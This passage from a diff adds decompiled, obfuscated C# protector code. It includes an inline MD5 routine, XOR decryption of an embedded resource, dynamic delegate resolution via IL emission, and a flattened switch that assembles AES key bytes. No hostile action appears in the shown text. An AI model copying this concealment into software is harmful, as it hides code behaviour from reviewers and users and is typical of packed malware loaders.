13u, 12, 14u, array); + aUCnsLJchg(ref num8, num9, num6, num7, 14u, 17, 15u, array); + aUCnsLJchg(ref num7, num8, num9, num6, 15u, 22, 16u, array); + BponVgr1GR(ref num6, num7, num8, num9, 1u, 5, 17u, array); + BponVgr1GR(ref num9, num6, num7, num8, 6u, 9, 18u, array); + BponVgr1GR(ref num8, num9, num6, num7, 11u, 14, 19u, array); + BponVgr1GR(ref num7, num8, num9, num6, 0u, 20, 20u, array); + BponVgr1GR(ref num6, num7, num8, num9, 5u, 5, 21u, array); + BponVgr1GR(ref num9, num6, num7, num8, 10u, 9, 22u, array); + BponVgr1GR(ref num8, num9, num6, num7, 15u, 14, 23u, array); + BponVgr1GR(ref num7, num8, num9, num6, 4u, 20, 24u, array); + BponVgr1GR(ref num6, num7, num8, num9, 9u, 5, 25u, array); + BponVgr1GR(ref num9, num6, num7, num8, 14u, 9, 26u, array); + BponVgr1GR(ref num8, num9, num6, num7, 3u, 14, 27u, array); + BponVgr1GR(ref num7, num8, num9, num6, 8u, 20, 28u, array); + BponVgr1GR(ref num6, num7, num8, num9, 13u, 5, 29u, array); + BponVgr1GR(ref num9, num6, num7, num8, 2u, 9, 30u, array); + BponVgr1GR(ref num8, num9, num6, num7, 7u, 14, 31u, array); + BponVgr1GR(ref num7, num8, num9, num6, 12u, 20, 32u, array); + YSEnQDET4N(ref num6, num7, num8, num9, 5u, 4, 33u, array); + YSEnQDET4N(ref num9, num6, num7, num8, 8u, 11, 34u, array); + YSEnQDET4N(ref num8, num9, num6, num7, 11u, 16, 35u, array); + YSEnQDET4N(ref num7, num8, num9, num6, 14u, 23, 36u, array); + YSEnQDET4N(ref num6, num7, num8, num9, 1u, 4, 37u, array); + YSEnQDET4N(ref num9, num6, num7, num8, 4u, 11, 38u, array); + YSEnQDET4N(ref num8, num9, num6, num7, 7u, 16, 39u, array); + YSEnQDET4N(ref num7, num8, num9, num6, 10u, 23, 40u, array); + YSEnQDET4N(ref num6, num7, num8, num9, 13u, 4, 41u, array); + YSEnQDET4N(ref num9, num6, num7, num8, 0u, 11, 42u, array); + YSEnQDET4N(ref num8, num9, num6, num7, 3u, 16, 43u, array); + YSEnQDET4N(ref num7, num8, num9, num6, 6u, 23, 44u, array); + YSEnQDET4N(ref num6, num7, num8, num9, 9u, 4, 45u, array); + YSEnQDET4N(ref num9, num6, num7, num8, 12u, 11, 46u, array); + YSEnQDET4N(ref num8, num9, num6, num7, 15u, 16, 47u, array); + YSEnQDET4N(ref num7, num8, num9, num6, 2u, 23, 48u, array); + wBMndSiq36(ref num6, num7, num8, num9, 0u, 6, 49u, array); + wBMndSiq36(ref num9, num6, num7, num8, 7u, 10, 50u, array); + wBMndSiq36(ref num8, num9, num6, num7, 14u, 15, 51u, array); + wBMndSiq36(ref num7, num8, num9, num6, 5u, 21, 52u, array); + wBMndSiq36(ref num6, num7, num8, num9, 12u, 6, 53u, array); + wBMndSiq36(ref num9, num6, num7, num8, 3u, 10, 54u, array); + wBMndSiq36(ref num8, num9, num6, num7, 10u, 15, 55u, array); + wBMndSiq36(ref num7, num8, num9, num6, 1u, 21, 56u, array); + wBMndSiq36(ref num6, num7, num8, num9, 8u, 6, 57u, array); + wBMndSiq36(ref num9, num6, num7, num8, 15u, 10, 58u, array); + wBMndSiq36(ref num8, num9, num6, num7, 6u, 15, 59u, array); + wBMndSiq36(ref num7, num8, num9, num6, 13u, 21, 60u, array); + wBMndSiq36(ref num6, num7, num8, num9, 4u, 6, 61u, array); + wBMndSiq36(ref num9, num6, num7, num8, 11u, 10, 62u, array); + wBMndSiq36(ref num8, num9, num6, num7, 2u, 15, 63u, array); + wBMndSiq36(ref num7, num8, num9, num6, 9u, 21, 64u, array); + num6 += num13; + num7 += num14; + num8 += num15; + num9 += num16; + } + byte[] array3 = new byte[16]; + Array.Copy(BitConverter.GetBytes(num6), 0, array3, 0, 4); + Array.Copy(BitConverter.GetBytes(num7), 0, array3, 4, 4); + Array.Copy(BitConverter.GetBytes(num8), 0, array3, 8, 4); + Array.Copy(BitConverter.GetBytes(num9), 0, array3, 12, 4); + return array3; + } + + private static void aUCnsLJchg(ref uint P_0, uint P_1, uint P_2, uint P_3, uint P_4, ushort P_5, uint P_6, object P_7) + { + P_0 = P_1 + QHrnlveRix(P_0 + ((P_1 & P_2) | (~P_1 & P_3)) + ((uint[])P_7)[P_4] + ((uint[])gWjm1G4M6C)[P_6 - 1], P_5); + } + + private static void BponVgr1GR(ref uint P_0, uint P_1, uint P_2, uint P_3, uint P_4, ushort P_5, uint P_6, object P_7) + { + P_0 = P_1 + QHrnlveRix(P_0 + ((P_1 & P_3) | (P_2 & ~P_3)) + ((uint[])P_7)[P_4] + ((uint[])gWjm1G4M6C)[P_6 - 1], P_5); + } + + private static void YSEnQDET4N(ref uint P_0, uint P_1, uint P_2, uint P_3, uint P_4, ushort P_5, uint P_6, object P_7) + { + P_0 = P_1 + QHrnlveRix(P_0 + (P_1 ^ P_2 ^ P_3) + ((uint[])P_7)[P_4] + ((uint[])gWjm1G4M6C)[P_6 - 1], P_5); + } + + private static void wBMndSiq36(ref uint P_0, uint P_1, uint P_2, uint P_3, uint P_4, ushort P_5, uint P_6, object P_7) + { + P_0 = P_1 + QHrnlveRix(P_0 + (P_2 ^ (P_1 | ~P_3)) + ((uint[])P_7)[P_4] + ((uint[])gWjm1G4M6C)[P_6 - 1], P_5); + } + + private static uint QHrnlveRix(uint P_0, ushort P_1) + { + return (P_0 >> 32 - P_1) | (P_0 << (int)P_1); + } + + internal static bool Ne3nYC3vke() + { + if (!yi6mAyEPVs) + { + I7vnppriyb(); + yi6mAyEPVs = true; + } + return NE4mIcdIPx; + } + + internal teChAknSMwcsOKOlG5s() + { + } + + private void fTYnMvjOoD(byte[] P_0, byte[] P_1, byte[] P_2) + { + int num = P_2.Length % 4; + int num2 = P_2.Length / 4; + byte[] array = new byte[P_2.Length]; + int num3 = P_0.Length / 4; + uint num4 = 0u; + uint num5 = 0u; + uint num6 = 0u; + if (num > 0) + { + num2++; + } + uint num7 = 0u; + for (int i = 0; i < num2; i++) + { + int num8 = i % num3; + int num9 = i * 4; + num7 = (uint)(num8 * 4); + num5 = (uint)((P_0[num7 + 3] << 24) | (P_0[num7 + 2] << 16) | (P_0[num7 + 1] << 8) | P_0[num7]); + uint num10 = 255u; + int num11 = 0; + if (i == num2 - 1 && num > 0) + { + num6 = 0u; + num4 += num5; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num6 <<= 8; + } + num6 |= P_2[^(1 + j)]; + } + } + else + { + num4 += num5; + num7 = (uint)num9; + num6 = (uint)((P_2[num7 + 3] << 24) | (P_2[num7 + 2] << 16) | (P_2[num7 + 1] << 8) | P_2[num7]); + } + uint num12 = num4; + num4 = 0u; + uint num13 = 2028173110u; + uint num14 = 732543283u; + uint num15 = 1533764501u; + uint num16 = num12; + uint num17 = 432942649u; + uint num18 = ((num13 >> 5) | (num13 << 27)) ^ num16; + uint num19 = num18 & 0xFF00FF; + num18 &= 0xFF00FF00u; + num13 = (num18 >> 8) | (num19 << 8); + num14 = 932744464u; + num15 = (num13 ^ num13) - num13; + if (num16 == 0) + { + num16--; + } + uint num20 = num13 / num16 + num16; + num16 = num13 - num13 - num20 + num13; + num14 = 9495 * (num14 & 0xFFFF) - (num14 >> 16); + num15 = 10476 * (num15 & 0xFFFF) - (num15 >> 16); + num13 = 22014 * num13 + num16; + num16 ^= num16 << 9; + num16 += num15; + num16 ^= num16 << 1; + num16 += num16; + num16 ^= num16 >> 5; + num16 += num17; + num16 = (((num15 << 11) + num13) ^ num15) + num16; + num4 = num12 + (uint)(double)num16; + if (i == num2 - 1 && num > 0) + { + uint num21 = num4 ^ num6; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num10 <<= 8; + num11 += 8; + } + array[num9 + k] = (byte)((num21 & num10) >> num11); + } + } + else + { + uint num22 = num4 ^ num6; + array[num9] = (byte)(num22 & 0xFF); + array[num9 + 1] = (byte)((num22 & 0xFF00) >> 8); + array[num9 + 2] = (byte)((num22 & 0xFF0000) >> 16); + array[num9 + 3] = (byte)((num22 & 0xFF000000u) >> 24); + } + } + p6ImSBBnDT = array; + } + + internal static SymmetricAlgorithm zZmntn1H11() + { + SymmetricAlgorithm symmetricAlgorithm = null; + if (Ne3nYC3vke()) + { + return new AesCryptoServiceProvider(); + } + try + { + return new RijndaelManaged(); + } + catch + { + try + { + return (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + catch + { + return (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + } + } + + internal static void I7vnppriyb() + { + try + { + new MD5CryptoServiceProvider(); + } + catch + { + NE4mIcdIPx = true; + return; + } + try + { + NE4mIcdIPx = CryptoConfig.AllowOnlyFipsAlgorithms; + } + catch + { + } + } + + internal static byte[] ypynUf7dPe(object P_0) + { + if (!Ne3nYC3vke()) + { + return new MD5CryptoServiceProvider().ComputeHash((byte[])P_0); + } + return PAinaiGrq1(P_0); + } + + internal static void XKFnc5uB9g(object P_0, object P_1, uint P_2, object P_3) + { + while (P_2 != 0) + { + int num = ((P_2 > (uint)((Array)P_3).Length) ? ((Array)P_3).Length : ((int)P_2)); + ((Stream)P_1).Read((byte[])P_3, 0, num); + wxRnFV53wF(P_0, P_3, 0, num); + P_2 -= (uint)num; + } + } + + internal static void wxRnFV53wF(object P_0, object P_1, int P_2, int P_3) + { + ((HashAlgorithm)P_0).TransformBlock((byte[])P_1, P_2, P_3, (byte[]?)P_1, P_2); + } + + internal static uint iNBn7DjApE(uint P_0, int P_1, long P_2, object P_3) + { + for (int i = 0; i < P_1; i++) + { + ((BinaryReader)P_3).BaseStream.Position = P_2 + (i * 40 + 8); + uint num = ((BinaryReader)P_3).ReadUInt32(); + uint num2 = ((BinaryReader)P_3).ReadUInt32(); + ((BinaryReader)P_3).ReadUInt32(); + uint num3 = ((BinaryReader)P_3).ReadUInt32(); + if (num2 <= P_0 && P_0 < num2 + num) + { + return num3 + P_0 - num2; + } + } + return 0u; + } + + public static void XAGnDAYNEo(RuntimeTypeHandle P_0) + { + try + { + Type typeFromHandle = Type.GetTypeFromHandle(P_0); + if (YxnmCJTrsy == null) + { + lock (k4lmN5rNOy) + { + Dictionary dictionary = new Dictionary(); + BinaryReader binaryReader = new BinaryReader(typeof(teChAknSMwcsOKOlG5s).Assembly.GetManifestResourceStream("QIsDrkRrFMx4aOuTgO.a2qTWbCdtAwDZ6F3VP")); + binaryReader.BaseStream.Position = 0L; + byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length); + binaryReader.Close(); + if (array.Length != 0) + { + int num = array.Length % 4; + int num2 = array.Length / 4; + byte[] array2 = new byte[array.Length]; + uint num3 = 0u; + uint num4 = 0u; + if (num > 0) + { + num2++; + } + uint num5 = 0u; + for (int i = 0; i < num2; i++) + { + int num6 = i * 4; + uint num7 = 255u; + int num8 = 0; + if (i == num2 - 1 && num > 0) + { + num4 = 0u; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num4 <<= 8; + } + num4 |= array[^(1 + j)]; + } + } + else + { + num5 = (uint)num6; + num4 = (uint)((array[num5 + 3] << 24) | (array[num5 + 2] << 16) | (array[num5 + 1] << 8) | array[num5]); + } + num3 = num3; + num3 += gYEn9R0XUG(num3); + if (i == num2 - 1 && num > 0) + { + uint num9 = num3 ^ num4; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num7 <<= 8; + num8 += 8; + } + array2[num6 + k] = (byte)((num9 & num7) >> num8); + } + } + else + { + uint num10 = num3 ^ num4; + array2[num6] = (byte)(num10 & 0xFF); + array2[num6 + 1] = (byte)((num10 & 0xFF00) >> 8); + array2[num6 + 2] = (byte)((num10 & 0xFF0000) >> 16); + array2[num6 + 3] = (byte)((num10 & 0xFF000000u) >> 24); + } + } + array = array2; + array2 = null; + int num11 = array.Length / 8; + MYOrd0mPu5bSv9tbdB1 mYOrd0mPu5bSv9tbdB = new MYOrd0mPu5bSv9tbdB1(new MemoryStream(array)); + for (int l = 0; l < num11; l++) + { + int key = mYOrd0mPu5bSv9tbdB.I8omKwMgf8(); + int value = mYOrd0mPu5bSv9tbdB.I8omKwMgf8(); + dictionary.Add(key, value); + } + mYOrd0mPu5bSv9tbdB.OQMmzDFCLi(); + } + YxnmCJTrsy = dictionary; + } + } + FieldInfo[] fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); + for (int m = 0; m < fields.Length; m++) + { + try + { + FieldInfo fieldInfo = fields[m]; + int metadataToken = fieldInfo.MetadataToken; + int num12 = YxnmCJTrsy[metadataToken]; + bool flag = (num12 & 0x40000000) > 0; + num12 &= 0x3FFFFFFF; + MethodInfo methodInfo = (MethodInfo)typeof(teChAknSMwcsOKOlG5s).Module.ResolveMethod(num12, typeFromHandle.GetGenericArguments(), new Type[0]); + if (methodInfo.IsStatic) + { + fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo)); + continue; + } + ParameterInfo[] parameters = methodInfo.GetParameters(); + int num13 = parameters.Length + 1; + Type[] array3 = new Type[num13]; + if (methodInfo.DeclaringType.IsValueType) + { + array3[0] = methodInfo.DeclaringType.MakeByRefType(); + } + else + { + array3[0] = typeof(object); + } + for (int n = 0; n < parameters.Length; n++) + { + array3[n + 1] = parameters[n].ParameterType; + } + DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodInfo.ReturnType, array3, typeFromHandle, skipVisibility: true); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + for (int num14 = 0; num14 < num13; num14++) + { + switch (num14) + { + case 0: + iLGenerator.Emit(OpCodes.Ldarg_0); + break; + case 1: + iLGenerator.Emit(OpCodes.Ldarg_1); + break; + case 2: + iLGenerator.Emit(OpCodes.Ldarg_2); + break; + case 3: + iLGenerator.Emit(OpCodes.Ldarg_3); + break; + default: + iLGenerator.Emit(OpCodes.Ldarg_S, num14); + break; + } + } + iLGenerator.Emit(OpCodes.Tailcall); + iLGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodInfo); + iLGenerator.Emit(OpCodes.Ret); + fieldInfo.SetValue(null, dynamicMethod.CreateDelegate(typeFromHandle)); + } + catch (Exception) + { + } + } + } + catch (Exception) + { + } + } + + private static uint cljng0s57U(uint P_0) + { + return (uint)"bhvribLL01V3k87XhKN".Length; + } + + private static uint gYEn9R0XUG(uint P_0) + { + return 0u; + } + + internal static void L4NnWyRRsF() + { + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static void UAdno0YQBc(object P_0, int P_1) + { + int num = 153; + byte[] array2 = default(byte[]); + int num4 = default(int); + byte[] array = default(byte[]); + int num5 = default(int); + byte[] array3 = default(byte[]); + byte[] array4 = default(byte[]); + int num6 = default(int); + Stream stream = default(Stream); + ICryptoTransform transform = default(ICryptoTransform); + byte[] array5 = default(byte[]); + byte[] array6 = default(byte[]); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 361) + { + if (num2 == 1342) + { + goto end_IL_0007; + } + goto case 18; + } + array2[5] = 168; + num3 = 293; + continue; + case 296: + array2[11] = (byte)num4; + num3 = 259; + continue; + case 37: + array[13] = (byte)num5; + num3 = 45; + continue; + case 313: + array2[2] = 126; + num3 = 145; + continue; + case 179: + array2[24] = (byte)num4; + num3 = 28; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 165; + } + continue; + case 267: + array[11] = 155; + num3 = 138; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 42; + } + continue; + case 28: + num4 = 34 + 22; + num3 = 130; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 108; + } + continue; + case 160: + num4 = 42 + 118; + num3 = 263; + continue; + case 29: + num4 = 107 + 53; + num3 = 227; + continue; + case 119: + array[13] = 116; + num3 = 172; + continue; + case 77: + num5 = 15 + 113; + num3 = 133; + continue; + case 138: + array2[21] = (byte)num4; + num3 = 7; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 119; + } + continue; + case 194: + array2[9] = 66; + num3 = 107; + continue; + case 7: + array2[21] = 220; + num3 = 5; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 89; + } + continue; + case 81: + array2[6] = 140; + num3 = 292; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 124; + } + continue; + case 163: + array2[1] = 86; + num = 140; + break; + case 317: + num4 = 188 - 62; + num3 = 294; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 342; + } + continue; + case 272: + array[7] = (byte)num5; + num3 = 143; + continue; + case 24: + array[4] = (byte)num5; + num3 = 197; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 361; + } + continue; + case 22: + array2[0] = (byte)num4; + num3 = 17; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 30; + } + continue; + case 349: + array2[26] = 175; + num3 = 50; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 156; + } + continue; + case 139: + num4 = 199 + 34; + num = 219; + break; + case 100: + array2[7] = 95; + num3 = 1; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 88; + } + continue; + case 186: + array2[14] = 168; + num3 = 88; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 308; + } + continue; + case 17: + array2[23] = (byte)num4; + num = 54; + break; + case 271: + array2[31] = 160; + num3 = 53; + continue; + case 210: + array[9] = 49; + num3 = 117; + continue; + case 44: + array3[1] = array4[0]; + num3 = 72; + continue; + case 352: + array2[19] = (byte)num4; + num3 = 224; + continue; + case 143: + array[7] = 129; + num3 = 304; + continue; + case 273: + num4 = 133 - 44; + num3 = 283; + continue; + case 71: + array2[29] = (byte)num4; + num3 = 188; + continue; + case 280: + array2[13] = (byte)num4; + num3 = 122; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 361; + } + continue; + case 122: + array2[13] = 219; + num3 = 186; + continue; + case 338: + array2[10] = (byte)num4; + num3 = 239; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 151; + } + continue; + case 136: + if (array4.Length != 0) + { + num = 44; + break; + } + goto case 261; + case 261: + num6 = 0; + num = 202; + break; + case 18: + array2[4] = (byte)num4; + num = 317; + break; + case 109: + array2[17] = 220; + num3 = 323; + continue; + case 345: + array2[3] = (byte)num4; + num3 = 289; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 263; + } + continue; + case 287: + num4 = 140 + 52; + num3 = 311; + continue; + case 268: + array[0] = 203; + num3 = 212; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 52; + } + continue; + case 331: + array3[5] = array4[2]; + num3 = 319; + continue; + case 86: + array3[13] = array4[6]; + num3 = 32; + continue; + case 197: + num5 = 172 - 57; + num = 15; + break; + case 300: + num5 = 119 + 56; + num3 = 9; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 174; + } + continue; + case 304: + num5 = 105 + 56; + num3 = 215; + continue; + case 318: + num5 = 98 + 66; + num3 = 157; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 116; + } + continue; + case 108: + num4 = 95 + 8; + num3 = 18; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 114; + } + continue; + case 211: + num4 = 44 + 43; + num3 = 148; + continue; + case 57: + array2[9] = (byte)num4; + num3 = 52; + continue; + case 203: + num4 = 187 - 62; + num3 = 62; + continue; + case 23: + array2[4] = 194; + num3 = 240; + continue; + case 14: + array2[14] = 121; + num3 = 347; + continue; + case 252: + num4 = 123 - 3; + num3 = 111; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 283; + } + continue; + case 90: + array2[27] = 96; + num3 = 217; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 218; + } + continue; + case 351: + array[1] = 106; + num3 = 171; + continue; + case 269: + array[12] = (byte)num5; + num3 = 315; + continue; + case 82: + num4 = 140 - 46; + num3 = 22; + continue; + case 239: + num4 = 100 + 95; + num3 = 214; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 209; + } + continue; + case 353: + num4 = 190 - 63; + num3 = 352; + continue; + case 25: + array2[15] = (byte)num4; + num3 = 297; + continue; + case 189: + a8LnKM23XIcLLFYaYNt(array3); + num3 = 164; + continue; + case 165: + num4 = 125 - 41; + num3 = 61; + continue; + case 259: + array2[12] = 100; + num3 = 19; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 92; + } + continue; + case 213: + array2[3] = 118; + num3 = 118; + continue; + case 297: + num4 = 48 + 92; + num3 = 201; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 137; + } + continue; + case 115: + case 202: + if (num6 < array3.Length) + { + num3 = 83; + continue; + } + goto case 97; + case 249: + array2[17] = 76; + num3 = 127; + continue; + case 218: + num4 = 72 + 121; + num3 = 101; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 70; + } + continue; + case 10: + array[5] = 103; + num3 = 228; + continue; + case 50: + array2[26] = 138; + num3 = 287; + continue; + case 241: + array[11] = 114; + num3 = 287; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 267; + } + continue; + case 336: + num4 = 206 + 27; + num3 = 299; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 296; + } + continue; + case 21: + array[5] = 92; + num = 10; + break; + case 264: + array[14] = 33; + num3 = 302; + continue; + case 80: + array2[3] = 120; + num3 = 216; + continue; + case 223: + if (!DqNNHj2wrp9sPOfa8nC(kZIeaA2vQMFYkum8IrB(EpwmJ5Rok3), null)) + { + num3 = 190; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 41; + } + continue; + } + goto case 284; + case 89: + num4 = 207 - 69; + num3 = 85; + continue; + case 199: + num5 = 80 + 77; + num3 = 166; + continue; + case 214: + array2[15] = (byte)num4; + num3 = 334; + continue; + case 243: + num4 = 169 - 56; + num3 = 142; + continue; + case 144: + num4 = 83 + 2; + num3 = 280; + continue; + case 130: + array2[11] = (byte)num4; + num3 = 324; + continue; + case 16: + array2[23] = (byte)num4; + num3 = 29; + continue; + case 254: + num4 = 139 - 33; + num3 = 230; + continue; + case 244: + array[2] = (byte)num5; + num3 = 46; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 114; + } + continue; + case 128: + array[3] = (byte)num5; + num3 = 300; + continue; + case 233: + num6++; + num3 = 115; + continue; + case 224: + array2[19] = 154; + num3 = 231; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 322; + } + continue; + case 156: + { + CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write); + qhOfoh2Oy4L7rPoT6d2(cryptoStream, array5, 0, array5.Length); + PLFbLZ25eSSFu7FoHeW(cryptoStream); + p6ImSBBnDT = BlIy1c28S1oL8jNik4p(stream); + kdPZON2Pm0iofCyTwE4(stream); + kdPZON2Pm0iofCyTwE4(cryptoStream); + num = 238; + break; + } + case 134: + array2[20] = (byte)num4; + num3 = 313; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 105; + } + continue; + case 150: + num4 = 100 + 32; + num3 = 266; + continue; + case 320: + array[1] = 150; + num3 = 351; + continue; + case 91: + num5 = 202 - 67; + num3 = 125; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 3; + } + continue; + case 105: + num4 = 238 - 79; + num3 = 292; + continue; + case 209: + array2[10] = (byte)num4; + num3 = 38; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 119; + } + continue; + case 321: + array2[2] = 108; + num3 = 313; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 360; + } + continue; + case 258: + num4 = 69 + 104; + num3 = 158; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 96; + } + continue; + case 221: + num4 = 101 + 34; + num3 = 114; + continue; + case 168: + array[4] = (byte)num5; + num = 220; + break; + case 308: + array2[14] = 106; + num3 = 14; + continue; + case 155: + array2[13] = (byte)num4; + num3 = 343; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 144; + } + continue; + case 13: + array2[17] = 147; + num3 = 249; + continue; + case 276: + array2[8] = 98; + num3 = 56; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 244; + } + continue; + case 314: + if (array4 != null) + { + num3 = 247; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 136; + } + continue; + } + goto case 261; + case 192: + num4 = 96 + 106; + num3 = 338; + continue; + case 167: + array2[18] = 84; + num3 = 303; + continue; + case 4: + num4 = 24 + 121; + num3 = 342; + continue; + case 34: + array[0] = (byte)num5; + num3 = 231; + continue; + case 257: + num4 = 130 + 82; + num3 = 187; + continue; + case 344: + array2[25] = 86; + num3 = 121; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 150; + } + continue; + case 185: + array[9] = 116; + num3 = 210; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 32; + } + continue; + case 126: + num4 = 36 + 5; + num3 = 1; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 49; + } + continue; + case 335: + num4 = 240 - 80; + num3 = 277; + continue; + case 51: + num5 = 3 + 119; + num3 = 260; + continue; + case 38: + array2[10] = 169; + num3 = 28; + continue; + case 235: + array[11] = 116; + num3 = 135; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 140; + } + continue; + case 188: + array2[29] = 116; + num3 = 305; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 258; + } + continue; + case 103: + array2[24] = 2; + num3 = 354; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 281; + } + continue; + case 47: + array2[30] = (byte)num4; + num3 = 103; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 94; + } + continue; + case 310: + array[6] = 185; + num3 = 102; + continue; + case 343: + array2[22] = 96; + num3 = 139; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 126; + } + continue; + case 326: + num5 = 101 + 116; + num3 = 24; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 66; + } + continue; + case 286: + array2[4] = (byte)num4; + num3 = 108; + continue; + case 75: + num4 = 93 + 98; + num3 = 338; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 270; + } + continue; + case 20: + array[14] = 91; + num3 = 348; + continue; + case 67: + num5 = 25 + 3; + num3 = 37; + continue; + case 85: + array2[21] = (byte)num4; + num3 = 266; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 327; + } + continue; + case 196: + array[9] = (byte)num5; + num3 = 248; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 109; + } + continue; + case 190: + array2[1] = 122; + num3 = 163; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 128; + } + continue; + case 350: + array[14] = 182; + num = 43; + break; + case 131: + array[8] = 147; + num3 = 51; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 66; + } + continue; + case 65: + array[6] = 111; + num3 = 310; + continue; + case 248: + array[9] = 150; + num3 = 185; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 223; + } + continue; + case 114: + array2[20] = (byte)num4; + num3 = 273; + continue; + case 283: + array2[20] = (byte)num4; + num3 = 137; + continue; + case 125: + array2[30] = (byte)num4; + num3 = 247; + continue; + case 341: + num5 = 155 + 42; + num3 = 149; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 168; + } + continue; + case 177: + return; + case 157: + array2[14] = (byte)num4; + num3 = 290; + continue; + case 6: + { + object obj = N6Dd0A2hIeXTgqgDmWs(); + HiTNu82GfThRfW0hTbf(obj, CipherMode.CBC); + transform = (ICryptoTransform)J611tK2bjgrFf0GFgX2(obj, array6, array3); + num3 = 95; + continue; + } + case 303: + array2[18] = 161; + num3 = 203; + continue; + case 193: + array2[26] = 84; + num3 = 265; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 308; + } + continue; + case 182: + array2[2] = (byte)num4; + num = 159; + break; + case 324: + num4 = 247 - 82; + num3 = 88; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 295; + } + continue; + case 145: + num4 = 78 - 60; + num3 = 113; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 236; + } + continue; + case 11: + num4 = 212 - 70; + num3 = 207; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 35; + } + continue; + case 94: + num4 = 48 + 124; + num = 180; + break; + case 147: + array[2] = 110; + num3 = 27; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 199; + } + continue; + case 92: + array2[12] = 109; + num3 = 79; + continue; + case 176: + array2[25] = (byte)num4; + num3 = 344; + continue; + case 217: + array2[27] = 196; + num3 = 217; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 225; + } + continue; + case 232: + num4 = 34 + 75; + num3 = 308; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 36; + } + continue; + case 226: + num5 = 192 - 64; + num3 = 34; + continue; + case 41: + case 55: + new teChAknSMwcsOKOlG5s().fTYnMvjOoD(array6, array3, array5); + num3 = 177; + continue; + case 46: + num5 = 72 - 64; + num3 = 170; + continue; + case 161: + array[1] = (byte)num5; + num3 = 208; + continue; + case 52: + array2[9] = 141; + num3 = 194; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 155; + } + continue; + case 172: + num5 = 94 + 105; + num3 = 124; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 251; + } + continue; + case 159: + num4 = 125 - 41; + num3 = 132; + continue; + case 253: + array2[7] = (byte)num4; + num3 = 113; + continue; + 